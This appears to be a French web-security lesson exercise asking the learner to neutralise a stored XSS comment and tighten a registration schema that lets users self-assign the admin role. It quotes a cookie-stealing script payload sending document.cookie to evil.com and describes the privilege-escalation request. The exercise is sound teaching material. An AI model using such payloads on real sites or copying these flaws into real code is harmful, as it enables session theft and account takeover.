Retour à la leçonMission
Mission : le commentaire piégé et l'inscription qui s'auto-promeut admin
Neutraliser un commentaire contenant un script malveillant et corriger un schéma de validation trop permissif exploitable pour une élévation de privilège.
Contexte
Un attaquant poste un commentaire contenant <script>fetch('https://evil.com/steal?c='+document.cookie)</script>, affiché tel quel via dangerouslySetInnerHTML sans aucun traitement. Par ailleurs, le schéma d'inscription utilise role: z.string() au lieu d'une liste stricte de valeurs, ce qui permet à n'importe qui d'envoyer { "role": "admin" } dans le corps de sa requête POST /api/users et de s'attribuer les droits administrateur dès l'inscription.